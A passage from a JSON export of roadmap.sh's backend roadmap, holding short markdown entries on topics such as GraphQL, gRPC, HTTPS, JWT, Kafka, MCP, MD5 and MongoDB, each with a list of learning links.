    "content": "# GoF Design Patterns\n\nGang of Four (GoF) Design Patterns are 23 foundational software design patterns solving common object-oriented problems. Grouped into Creational (object creation), Structural (composition), and Behavioral (communication) categories. Promote code reusability, flexibility, and maintainability.\n\nLearn more from the following links:\n\n- [@article@Gangs of Four (GoF) Design Patterns](https://www.digitalocean.com/community/tutorials/gangs-of-four-gof-design-patterns)\n- [@article@Design Patterns for Humans](https://github.com/kamranahmedse/design-patterns-for-humans)\n- [@video@Tutorial - Builder Pattern (Gang of Four Design Patterns Series)](https://www.youtube.com/watch?v=_sa2WlAFWQos)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/graceful-degradation@G9AI_i3MkUE1BsO3_-PH7.md",
    "content": "# Graceful Degradation\n\nGraceful degradation ensures systems continue functioning when components or features are unavailable. In web development, applications remain functional even if browsers don't support certain features. Alternative to progressive enhancement for maintaining system reliability.\n\nVisit the following resources to learn more:\n\n- [@article@What is Graceful Degradation & Why Does it Matter?](https://blog.hubspot.com/website/graceful-degradation)\n- [@article@Four Considerations When Designing Systems For Graceful Degradation](https://newrelic.com/blog/best-practices/design-software-for-graceful-degradation)\n- [@video@Graceful Degradation - Georgia Tech](https://www.youtube.com/watch?v=Tk7e0LMsAlI)"
  },
  {
    "path": "src/data/roadmaps/backend/content/graphql@zp3bq38tMnutT2N0tktOW.md",
    "content": "# GraphQL\n\nGraphQL is Facebook's query language for APIs allowing clients to request exactly the data they need. Uses single endpoint with schema-defined data structure, reducing over-fetching and under-fetching. More flexible than REST for complex applications with diverse platform needs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@GraphQL](https://graphql.org/)\n- [@video@Tutorial - GraphQL Explained in 100 Seconds](https://www.youtube.com/watch?v=eIQh02xuVw4)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/grpc@J-TOE2lT4At1mSdNoxPS1.md",
    "content": "# gRPC\n\ngRPC is a high-performance, open-source RPC (Remote Procedure Call) framework. Allows programs to execute procedures on remote computers like local functions. Developers don't need to handle remote interaction details, and client/server can use different programming languages.\n\nVisit the following resources to learn more:\n\n- [@official@gRPC Website](https://grpc.io/)\n- [@article@What Is GRPC?](https://www.wallarm.com/what/the-concept-of-grpc)\n- [@video@What Is GRPC?](https://www.youtube.com/watch?v=hVrwuMnCtok)\n- [@feed@Explore top posts about gRPC](https://app.daily.dev/tags/grpc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/hateoas@dLY0KafPstajCcSbslC4M.md",
    "content": "# Hateoas\n\nHATEOAS (Hypermedia As The Engine Of Application State) is a REST constraint enabling clients to navigate APIs dynamically through hypermedia links in responses. Clients discover actions through links instead of hard-coded URLs, providing flexibility and decoupling from server changes.\n\nLearn more from the following resources:\n\n- [@official@Richardson Maturity Model - Martin Fowler](https://martinfowler.com/articles/richardsonMaturityModel.html)\n- [@article@What is HATEOAS and why is it important for my REST API?](https://restcookbook.com/Basics/hateoas/)\n- [@article@HATEOAS - A Practical Guide with Spring](https://www.baeldung.com/spring-hateoas-tutorial)\n- [@video@What happened to HATEOAS](https://www.youtube.com/watch?v=HNTSrytKCoQ)\n- [@video@HATEOAS Explained](https://www.youtube.com/watch?v=gCNAudrbWCo)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/how-does-the-internet-work@yCnn-NfSxIybUQ2iTuUGq.md",
    "content": "# Internet\n\nThe internet is a global network of interconnected computers using TCP/IP protocols. Requests travel through ISPs to DNS servers for domain-to-IP translation, then route across networks via routers to destination servers. Enables dynamic, decentralized global communication.\n\nVisit the following resources to learn more:\n\n- [@article@How does the Internet Work?](https://cs.fyi/guide/how-does-internet-work)\n- [@article@The Internet Explained](https://www.vox.com/2014/6/16/18076282/the-internet)\n- [@article@How Does the Internet Work?](http://web.stanford.edu/class/msande91si/www-spr04/readings/week1/InternetWhitepaper.htm)\n- [@article@Introduction to Internet](/guides/what-is-internet)\n- [@video@How does the Internet work?](https://www.youtube.com/watch?v=x3c1ih2NJEg)\n- [@video@How does the internet work? (Full Course)](https://www.youtube.com/watch?v=zN8YNNHcaZc)"
  },
  {
    "path": "src/data/roadmaps/backend/content/how-llms-work@tUNP5VRKvrPcufPDPPEo8.md",
    "content": "# How LLMs Work\n\nLLMs, or Large Language Models, are advanced AI models trained on vast datasets to understand and generate human-like text. They can perform a wide range of natural language processing tasks, such as text generation, translation, summarization, and question answering. LLMs function as sophisticated prediction engines that process text sequentially, predicting the next token based on relationships between previous tokens and patterns from training data. They don't predict single tokens directly but generate probability distributions over possible next tokens, which are then sampled using parameters like temperature and top-K. The model repeatedly adds predicted tokens to the sequence, building responses iteratively. This token-by-token prediction process, combined with massive training datasets, enables LLMs to generate coherent, contextually relevant text across diverse applications and domains.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated AI Engineer Roadmap](https://roadmap.sh/ai-engineer)\n- [@article@What is a large language model (LLM)?](https://www.cloudflare.com/en-gb/learning/ai/what-is-large-language-model/)\n- [@article@Understanding AI](https://leerob.com/ai)\n- [@article@New to LLMs? Start Here](https://towardsdatascience.com/new-to-llms-start-here/)\n- [@video@How Large Language Models Work](https://www.youtube.com/watch?v=5sLYAQS9sWQ)\n- [@video@Large Language Models Made Easy (LLMs)](https://www.youtube.com/watch?v=osKyvYJ3PRM)"
  },
  {
    "path": "src/data/roadmaps/backend/content/html@9-pCsW650T1mfj5dmRB9L.md",
    "content": "# HTML\n\nHTML (HyperText Markup Language) is the standard markup language for creating web pages. It provides the structure and content of a website by using elements, which are defined by tags, to organize text, images, and other multimedia. Browsers interpret HTML files to render the visual representation of a webpage that users see.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated HTML roadmap](https://roadmap.sh/html)\n- [@article@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/2022/responsive-web-design/)\n- [@video@HTML Full Course for Beginners](https://www.youtube.com/watch?v=mJgBOIoGihA)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=pQN-pnXPaVg)\n- [@feed@Explore top posts about HTML](https://app.daily.dev/tags/html?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/http-caching@KWTbEVX_WxS8jmSaAX3Fe.md",
    "content": "# Client Side Caching\n\nClient-side caching stores data locally on user devices to improve performance and reduce server load. Uses HTTP caching headers, service workers, and local storage APIs. Reduces network traffic and load times but requires careful cache invalidation strategies.\n\nVisit the following resources to learn more:\n\n- [@article@Client Side Caching](https://redis.io/docs/latest/develop/use/client-side-caching/)\n- [@video@Everything you need to know about HTTP Caching](https://www.youtube.com/watch?v=HiBDZgTNpXY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/https@x-WBJjBd8u93ym5gtxGsR.md",
    "content": "# HTTPS\n\nHTTPS (Hypertext Transfer Protocol Secure) extends HTTP with SSL/TLS encryption for secure data transmission. Ensures confidentiality, integrity, and authenticity, protecting against interception and tampering. Essential standard for web applications handling sensitive user data.\n\nVisit the following resources to learn more:\n\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@article@How HTTPS works (comic)](https://howhttps.works/)\n- [@article@HTTPS explained with carrier pigeons](https://baida.dev/articles/https-explained-with-carrier-pigeons)\n- [@video@HTTP vs HTTPS](https://www.youtube.com/watch?v=nOmT_5hqgPk)"
  },
  {
    "path": "src/data/roadmaps/backend/content/influx-db@XbM4TDImSH-56NsITjyHK.md",
    "content": "# InfluxDB\n\nInfluxDB is a high-performance, open-source time-series database for handling timestamped data like metrics and events. Optimized for monitoring, IoT, and APM with SQL-like Flux queries. Features retention policies, downsampling, and automatic compaction for scalable time-series storage.\n\nVisit the following resources to learn more:\n\n- [@official@InfluxDB Website](https://www.influxdata.com/)\n- [@official@InfluxDB Documentation](https://docs.influxdata.com/influxdb/cloud/)\n- [@article@Time series database](https://www.influxdata.com/time-series-database/)\n- [@article@Introduction to InfluxDB - DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-monitor-system-metrics-with-the-tick-stack-on-centos-7)\n- [@video@InfluxDB for Beginners - Getting Started](https://www.youtube.com/watch?v=Vq4cDIdz_M8)\n- [@video@The Basics of Time Series Data](https://www.youtube.com/watch?v=wBWTj-1XiRU)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/instrumentation@4X-sbqpP0NDhM99bKdqIa.md",
    "content": "# Instrumentation, Monitoring, and Telemetry\n\nInstrumentation embeds code to capture metrics, logs, and traces. Monitoring observes real-time metrics for anomalies and performance issues using dashboards and alerts. Telemetry automates data collection from distributed systems. Together they provide system health insights and proactive issue resolution.\n\nVisit the following resources to learn more:\n\n- [@article@What is Instrumentation?](https://en.wikipedia.org/wiki/Instrumentation_%28computer_programming%29)\n- [@article@What is Monitoring?](https://www.yottaa.com/performance-monitoring-backend-vs-front-end-solutions/)\n- [@article@What is Telemetry?](https://www.sumologic.com/insight/what-is-telemetry/)\n- [@video@Observability vs. APM vs. Monitoring](https://www.youtube.com/watch?v=CAQ_a2-9UOI)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/integration-patterns@iatQ3RCxESHt1CwN3PSfx.md",
    "content": "# Integration Patterns\n\nIntegration patterns are reusable solutions to commonly occurring problems when connecting different software systems or applications. They provide a structured approach for ensuring data is correctly exchanged, services are seamlessly accessed, and overall system behavior is predictable and reliable when integrating AI-powered functionalities. This allows developers to handle complexities like data transformations, error handling, security, and message routing in a standardized way.\n\nVisit the following resources to learn more:\n\n- [@article@Emerging Patterns in Building GenAI Products](https://martinfowler.com/articles/gen-ai-patterns/)\n- [@article@5 Patterns for Scalable LLM Service Integration](https://latitude.so/blog/5-patterns-for-scalable-llm-service-integration/)\n- [@video@AI Design Patterns - LLM Integration: Choosing Between Direct Calls, Agents, RAG, MCP & Workflows](https://www.youtube.com/watch?v=_amJOKrM0XU)"
  },
  {
    "path": "src/data/roadmaps/backend/content/integration-testing@381Kw1IMRv7CJp-Uf--qd.md",
    "content": "# Integration Testing\n\nIntegration testing verifies interactions between software components to ensure they work together correctly. Tests module communication via APIs, databases, and third-party services. Catches integration issues like data mismatches and protocol errors that unit tests miss.\n\nVisit the following resources to learn more:\n\n- [@opensource@Supertest - HTTP Integration Testing for Node.js](https://github.com/ladjs/supertest)\n- [@article@Integration Testing](https://www.guru99.com/integration-testing.html)\n- [@article@Unit Test vs Integration Test: What's the Difference?](https://www.testim.io/blog/unit-test-vs-integration-test/)\n- [@article@How to Integrate and Test Your Tech Stack](https://thenewstack.io/how-to-integrate-and-test-your-tech-stack/)\n- [@video@What is Integration Testing?](https://www.youtube.com/watch?v=kRD6PA6uxiY)\n- [@video@Integration Testing in Node.js](https://www.youtube.com/watch?v=r9HdJ8P6GQI)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/internet@SiYUdtYMDImRPmV2_XPkH.md",
    "content": "# Backend Development\n\nBackend development focuses on the server-side logic of a web application, handling data storage, processing, and security. It involves building and maintaining the infrastructure that powers the user-facing frontend, ensuring seamless communication between the client and the database. This includes tasks like creating APIs, managing databases, and implementing authentication and authorization mechanisms.\n\nVisit the following resources to learn more:\n\n- [@article@What is backend? A comprehensive intro to server-side development](https://alokai.com/blog/what-is-backend)\n- [@article@What is Back-End Architecture?](https://www.codecademy.com/article/what-is-back-end-architecture)\n- [@video@Backend web development - a complete overview](https://www.youtube.com/watch?v=XBu54nfzxAQ)\n- [@video@How The Backend Works](https://www.youtube.com/watch?v=4r6WdaY3SOA)"
  },
  {
    "path": "src/data/roadmaps/backend/content/introduction@SiYUdtYMDImRPmV2_XPkH.md",
    "content": "# Backend Development\n\nBackend development focuses on the server-side logic of a web application, handling data storage, processing, and security. It involves building and maintaining the infrastructure that powers the user-facing frontend, ensuring seamless communication between the client and the database. This includes tasks like creating APIs, managing databases, and implementing authentication and authorization mechanisms.\n\nVisit the following resources to learn more:\n\n- [@article@What is backend? A comprehensive intro to server-side development](https://alokai.com/blog/what-is-backend)\n- [@article@What is Back-End Architecture?](https://www.codecademy.com/article/what-is-back-end-architecture)\n- [@video@Backend web development - a complete overview](https://www.youtube.com/watch?v=XBu54nfzxAQ)\n- [@video@How The Backend Works](https://www.youtube.com/watch?v=4r6WdaY3SOA)"
  },
  {
    "path": "src/data/roadmaps/backend/content/java@ANeSwxJDJyQ-49pO2-CCI.md",
    "content": "# Java\n\nJava is Oracle's high-level, object-oriented language following \"write once, run anywhere\" via JVM. Features automatic memory management, vast standard library, and strong security. Widely used for enterprise applications, Android apps, and backend systems.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Java Roadmap](https://roadmap.sh/java)\n- [@official@Java Website](https://www.java.com/)\n- [@video@Complete Java course](https://www.youtube.com/watch?v=xk4_1vDrzzo)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/javascript@8-lO-v6jCYYoklEJXULxN.md",
    "content": "# JavaScript\n\nJavaScript is a versatile, high-level language for web interactivity and dynamic features. Runs client-side in browsers and server-side with Node.js for full-stack development. Supports multiple programming styles with rich ecosystem of frameworks like React, Angular, and Vue.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript Projects in 30 days](https://javascript30.com/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c?t=2)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/javascript@An2lMuJEkkpL0cfw4RrSl.md",
    "content": "# JavaScript\n\nJavaScript is a programming language primarily used to add interactivity to websites. It allows developers to create dynamic content, control multimedia, animate images, and much more, enhancing the user experience beyond static HTML and CSS. While often associated with front-end development, JavaScript can also be used on the back-end with technologies like Node.js.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@book@JavaScript from Beginner to Professional](https://www.gurukultti.org/admin/notice/javascript.pdf)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@video@JavaScript Crash Course For Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c&t=4s)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/json-apis@sNceS4MpSIjRkWhNDmrFg.md",
    "content": "# JSON APIs\n\nJSON (JavaScript Object Notation) is an encoding scheme eliminating ad-hoc code for server communication. JSON API provides standardized implementation for data stores and structures, including entity types, bundles, and fields with defined communication protocols.\n\nVisit the following resources to learn more:\n\n- [@course@Full Stack Open - Node.js and Express (Part 3)](https://fullstackopen.com/en/part3)\n- [@official@JSON API Specification](https://jsonapi.org/)\n- [@official@JSON.org - Introducing JSON](https://www.json.org/json-en.html)\n- [@article@What is JSON API?](https://medium.com/@niranjan.cs/what-is-json-api-3b824fba2788)\n- [@article@JSON API Recommendations and Best Practices](https://jsonapi.org/recommendations/)\n- [@video@JSON API: Explained in 4 minutes](https://www.youtube.com/watch?v=N-4prIh7t38)\n- [@video@REST API vs JSON API - Which Should You Use?](https://www.youtube.com/watch?v=0oXYLzuucwE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/jwt@UxS_mzVUjLigEwKrXnEeB.md",
    "content": "# JWT\n\nJWT (JSON Web Token) securely transmits information as JSON objects with three parts: header (token type/algorithm), payload (claims/data), and signature (integrity verification). Used for authentication and authorization in web/mobile apps. Compact, self-contained, and HTTP header-friendly.\n\nVisit the following resources to learn more:\n\n- [@official@jwt.io Website](https://jwt.io/)\n- [@official@RFC 7519 - JSON Web Token Standard](https://datatracker.ietf.org/doc/html/rfc7519)\n- [@article@What is JWT?](https://www.akana.com/blog/what-is-jwt)\n- [@article@JWT Security Best Practices](https://curity.io/resources/learn/jwt-best-practices/)\n- [@video@What Is JWT and Why Should You Use JWT](https://www.youtube.com/watch?v=7Q17ubqLfaM)\n- [@video@Node.js JWT Authentication Tutorial](https://www.youtube.com/watch?v=mbsmsi7l3r4)\n- [@feed@Explore top posts about JWT](https://app.daily.dev/tags/jwt?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/kafka@VoYSis1F1ZfTxMlQlXQKB.md",
    "content": "# Kafka\n\nApache Kafka is a distributed event streaming platform for high-throughput, fault-tolerant data processing. Acts as message broker with publish/subscribe model. Features topics, partitions for parallel processing, and replication for fault tolerance. Ideal for real-time analytics and data integration.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Kafka](https://kafka.apache.org/quickstart)\n- [@official@Apache Kafka Streams](https://docs.confluent.io/platform/current/streams/concepts.html)\n- [@official@Kafka Streams Confluent](https://kafka.apache.org/documentation/streams/)\n- [@video@Apache Kafka Fundamentals](https://www.youtube.com/watch?v=B5j3uNBH8X4)\n- [@video@Kafka in 100 Seconds](https://www.youtube.com/watch?v=uvb00oaa3k8)\n- [@feed@Explore top posts about Kafka](https://app.daily.dev/tags/kafka?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/learn-about-apis@EwvLPSI6AlZ4TnNIJTZA4.md",
    "content": "# APIs\n\nAPI (Application Programming Interface) defines rules and protocols for software applications to communicate. Provides standardized access to functionalities without understanding internal workings. Includes endpoints, request methods (GET, POST, PUT), and data formats (JSON, XML).\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated API Design Roadmap](https://roadmap.sh/api-design)\n- [@roadmap@Visit the Dedicated API Security Best Practices](https://roadmap.sh/api-security-best-practices)\n- [@article@What is an API?](https://aws.amazon.com/what-is/api/)\n- [@video@What is an API (in 5 minutes)](https://www.youtube.com/watch?v=ByGJQzlzxQg)\n- [@feed@daily.dev API Feed](https://app.daily.dev/tags/rest-api)"
  },
  {
    "path": "src/data/roadmaps/backend/content/learn-about-web-servers@fekyMpEnaGqjh1Cu4Nyc4.md",
    "content": "# Web Servers\n\nWeb servers handle client requests and serve web content like HTML pages and images. Process HTTP/HTTPS requests, interact with databases, and send responses. Popular servers include Apache, Nginx, and IIS. Essential for hosting websites, managing traffic, and providing SSL/TLS security.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Web Server? - Mozilla](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server)\n- [@article@What is a Web Server?](https://www.hostinger.co.uk/tutorials/what-is-a-web-server)\n- [@video@Web Server Concepts and Examples](https://youtu.be/9J1nJOivdyw)"
  },
  {
    "path": "src/data/roadmaps/backend/content/learn-the-basics@UTupdqjOyLh7-56_0SXJ8.md",
    "content": "# AI in Backend Development\n\n(Generative) AI can help backend developers automate tasks and write code more efficiently. It uses machine learning models to generate things like code snippets, documentation, and even test cases. By providing these tools with relevant information about your backend system, you can speed up the development process and reduce errors.\n\nVisit the following resources to learn more:\n\n- [@article@AI in software development](https://www.ibm.com/think/topics/ai-in-software-development)\n- [@article@AI in Software Development](https://github.com/resources/articles/ai-in-software-development)\n- [@article@AI in Software Development: Revolutionizing the Coding Landscape](https://www.coursera.org/articles/ai-in-software-development)"
  },
  {
    "path": "src/data/roadmaps/backend/content/loadshifting@HoQdX7a4SnkFRU4RPQ-D5.md",
    "content": "# Load Shifting\n\nLoad shifting manages computing workloads by redistributing load from peak to off-peak periods. Helps balance resource demand, optimize performance, and reduce costs through job rescheduling, region switching, and dynamic resource allocation. Enhances system reliability and infrastructure utilization.\n\nVisit the following resources to learn more:\n\n- [@article@Load Shifting](https://en.wikipedia.org/wiki/Load_shifting)\n- [@video@Load Shifting 101](https://www.youtube.com/watch?v=DOyMJEdk5aE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/long--short-polling@osvajAJlwGI3XnX0fE-kA.md",
    "content": "# Long Polling\n\nLong polling technique where server holds client requests instead of sending empty responses. Server waits for specified period for new data, responding immediately when available or after timeout. Client then immediately re-requests, creating continuous request-response cycles.\n\nVisit the following resources to learn more:\n\n- [@article@Long Polling](https://javascript.info/long-polling)\n- [@video@What is Long Polling?](https://www.youtube.com/watch?v=LD0_-uIsnOE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/long-polling@osvajAJlwGI3XnX0fE-kA.md",
    "content": "# Long Polling\n\nLong polling technique where server holds client requests instead of sending empty responses. Server waits for specified period for new data, responding immediately when available or after timeout. Client then immediately re-requests, creating continuous request-response cycles.\n\nLearn more from the following resources:\n\n- [@article@Long Polling](https://javascript.info/long-polling)\n- [@video@What is Long Polling?](https://www.youtube.com/watch?v=LD0_-uIsnOE)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/lxc@31ZlpfIPr9-5vYZqvjUeL.md",
    "content": "# LXC\n\nLXC (Linux Containers) runs multiple Linux systems virtually on a single Linux kernel. Provides userspace interface for kernel containment features with powerful API and simple tools for creating and managing system or application containers.\n\nVisit the following resources to learn more:\n\n- [@official@LXC Documentation](https://linuxcontainers.org/lxc/documentation/)\n- [@article@What is LXC?](https://linuxcontainers.org/lxc/introduction/)\n- [@video@Getting Started with LXD Containerization](https://www.youtube.com/watch?v=aIwgPKkVj8s)\n- [@video@Getting Started with LXC containers](https://youtu.be/CWmkSj_B-wo)"
  },
  {
    "path": "src/data/roadmaps/backend/content/mariadb@tD3i-8gBpMKCHB-ITyDiU.md",
    "content": "# MariaDB\n\nMariaDB is a community-developed MySQL fork created by original MySQL team members. Designed as a feature-rich, stable, drop-in replacement for MySQL with better licensing. Works with external developers to deliver comprehensive open-source SQL server.\n\nVisit the following resources to learn more:\n\n- [@official@MariaDB](https://mariadb.org/)\n- [@article@MariaDB vs MySQL](https://www.guru99.com/mariadb-vs-mysql.html)\n- [@video@MariaDB Tutorial For Beginners in One Hour](https://www.youtube.com/watch?v=_AMj02sANpI)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/mcp@mHnI19RgZ57XDEIDaHxD0.md",
    "content": "# Model Context Protocol (MCP)\n\nModel Context Protocol (MCP) is a rulebook that tells an AI agent how to pack background information before it sends a prompt to a language model. It lists what pieces go into the prompt—things like the system role, the user’s request, past memory, tool calls, or code snippets—and fixes their order. Clear tags mark each piece, so both humans and machines can see where one part ends and the next begins. Keeping the format steady cuts confusion, lets different tools work together, and makes it easier to test or swap models later. When agents follow MCP, the model gets a clean, complete prompt and can give better answers.\n\nVisit the following resources to learn more:\n\n- [@course@MCP: Build Rich-Context AI Apps with Anthropic](https://www.deeplearning.ai/short-courses/mcp-build-rich-context-ai-apps-with-anthropic/)\n- [@official@Model Context Protocol](https://modelcontextprotocol.io/introduction)\n- [@opensource@modelcontexprotocol](https://github.com/modelcontextprotocol/modelcontextprotocol)\n- [@article@The Ultimate Guide to MCP](https://guangzhengli.com/blog/en/model-context-protocol)\n- [@article@A Clear Intro to MCP (Model Context Protocol) with Code Examples](https://towardsdatascience.com/clear-intro-to-mcp/)\n- [@article@Model Context Protocol (MCP): A Guide With Demo Project](https://www.datacamp.com/tutorial/mcp-model-context-protocol)"
  },
  {
    "path": "src/data/roadmaps/backend/content/md5@jWwA6yX4Zjx-r_KpDaD3c.md",
    "content": "# MD5\n\nMD5 (Message-Digest Algorithm 5) produces 128-bit hash values as 32-character hexadecimal strings. Once popular for data integrity and passwords, now considered cryptographically broken due to collision vulnerabilities. Largely replaced by secure alternatives like SHA-256.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia - MD5](https://en.wikipedia.org/wiki/MD5)\n- [@article@What is MD5?](https://www.techtarget.com/searchsecurity/definition/MD5)\n- [@article@Why is MD5 not safe?](https://infosecscout.com/why-md5-is-not-safe/)\n- [@video@How the MD5 hash function works](https://www.youtube.com/watch?v=5MiMK45gkTY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/memcached@xPvVwGQw28uMeLYIWn8yn.md",
    "content": "# Memcached\n\nMemcached is a distributed memory-caching system that speeds up dynamic websites by caching data and objects in RAM. Provides large distributed hash table across multiple machines with LRU eviction. Applications layer requests in RAM before falling back to slower backing stores.\n\nVisit the following resources to learn more:\n\n- [@opensource@memcached/memcached](https://github.com/memcached/memcached#readme)\n- [@article@Memcached Tutorial](https://www.tutorialspoint.com/memcached/index.htm)\n- [@video@Redis vs Memcached](https://www.youtube.com/watch?v=Gyy1SiE8avE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/message-brokers@nJ5FpFgGCRaALcWmAKBKT.md",
    "content": "# Message Brokers\n\nMessage brokers facilitate communication between distributed systems by routing and delivering messages. Enable asynchronous messaging, decoupling producers from consumers. Include features like queuing, load balancing, persistence, and acknowledgment. Popular examples: Kafka, RabbitMQ, ActiveMQ.\n\nVisit the following resources to learn more:\n\n- [@article@What are Message Brokers?](https://www.ibm.com/topics/message-brokers)\n- [@video@Introduction to Message Brokers](https://www.youtube.com/watch?v=57Qr9tk6Uxc)\n- [@video@Kafka vs RabbitMQ](https://www.youtube.com/watch?v=_5mu7lZz5X4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/microservices@K55h3aqOGe6-hgVhiFisT.md",
    "content": "# Microservices\n\nMicroservices architecture structures applications as loosely coupled, independently deployable services focused on specific business capabilities. Communicate via HTTP or messaging. Enables scalability, flexibility, diverse technologies, and continuous deployment but adds complexity in communication and orchestration.\n\nVisit the following resources to learn more:\n\n- [@article@Pattern: Microservice Architecture](https://microservices.io/patterns/microservices.html)\n- [@article@What is Microservices?](https://smartbear.com/solutions/microservices/)\n- [@article@Microservices 101](https://thenewstack.io/microservices-101/)\n- [@article@Articles about Microservices](https://thenewstack.io/category/microservices/)\n- [@video@Microservices explained in 5 minutes](https://www.youtube.com/watch?v=lL_j7ilk7rc)\n- [@feed@Explore top posts about Microservices](https://app.daily.dev/tags/microservices?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/migration-strategies@f7iWBkC0X7yyCoP_YubVd.md",
    "content": "# Migration Strategies\n\nMigration strategies plan transitions between environments. Key approaches: Rehost (lift and shift with minimal changes), Replatform (optimize for new environment), Refactor (redesign for new features), Repurchase (replace with new solutions), Retain (keep in current environment), Retire (decommission redundant systems).\n\nVisit the following resources to learn more:\n\n- [@article@Databases as a Challenge for Continuous Delivery](https://phauer.com/2015/databases-challenge-continuous-delivery/)\n- [@video@AWS Cloud Migration Strategies](https://www.youtube.com/watch?v=9ziB82V7qVM)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/migrations@MOLAXgs0CMCT7o84L0EaK.md",
    "content": "# Database Migrations\n\nDatabase migrations are structured scripts that incrementally update a database schema to a new version. They provide a controlled and repeatable way to evolve the database structure as an application changes, ensuring data integrity and consistency across different environments. These scripts typically include instructions for creating, altering, or deleting tables, columns, indexes, and other database objects.\n\nVisit the following resources to learn more:\n\n- [@article@Schema migration](https://en.wikipedia.org/wiki/Schema_migration)\n- [@article@What is Database Migration?](https://www.mongodb.com/resources/basics/databases/database-migration)\n- [@article@Database Migrations](https://vadimkravcenko.com/shorts/database-migrations/)\n- [@article@Introduction to Database Migration: A Beginner's Guide](https://www.dbvis.com/thetable/introduction-to-database-migration-a-beginners-guide/)\n- [@video@Database Migrations Explained](https://www.youtube.com/watch?v=mMsZPZKNc4g)"
  },
  {
    "path": "src/data/roadmaps/backend/content/migrations@MOLAXgs0CMCT7o84L0EaK.md.md",
    "content": "# Migrations\n\nDatabase migrations are version-controlled incremental schema changes that modify database structure without affecting existing data. Ensure consistent, repeatable evolution across environments while maintaining compatibility. Executed using tools like Liquibase, Flyway, or ORM features.\n\nLearn more from the following resources:\n\n- [@article@What are Database Migrations?](https://www.prisma.io/dataguide/types/relational/what-are-database-migrations)\n- [@video@Database Migrations for Beginners](https://www.youtube.com/watch?v=dJDBP7pPA-o)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/mongodb@28U6q_X-NTYf7OSKHjoWH.md",
    "content": "# MongoDB\n\nMongoDB is a NoSQL document-oriented database storing data in BSON format without fixed schemas. Supports horizontal scaling via sharding and high availability through replica sets. Ideal for applications with evolving data structures, real-time analytics, and large-scale data handling.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated MongoDB Roadmap](https://roadmap.sh/mongodb)\n- [@official@MongoDB Website](https://www.mongodb.com/)\n- [@official@Learning Path for MongoDB Developers](https://learn.mongodb.com/catalog)\n- [@article@MongoDB Online Sandbox](https://mongoplayground.net/)\n- [@feed@daily.dev MongoDB Feed](https://app.daily.dev/tags/mongodb)"
  },
  {
    "path": "src/data/roadmaps/backend/content/monitoring@QvMEEsXh0-rzn5hDGcmEv.md",
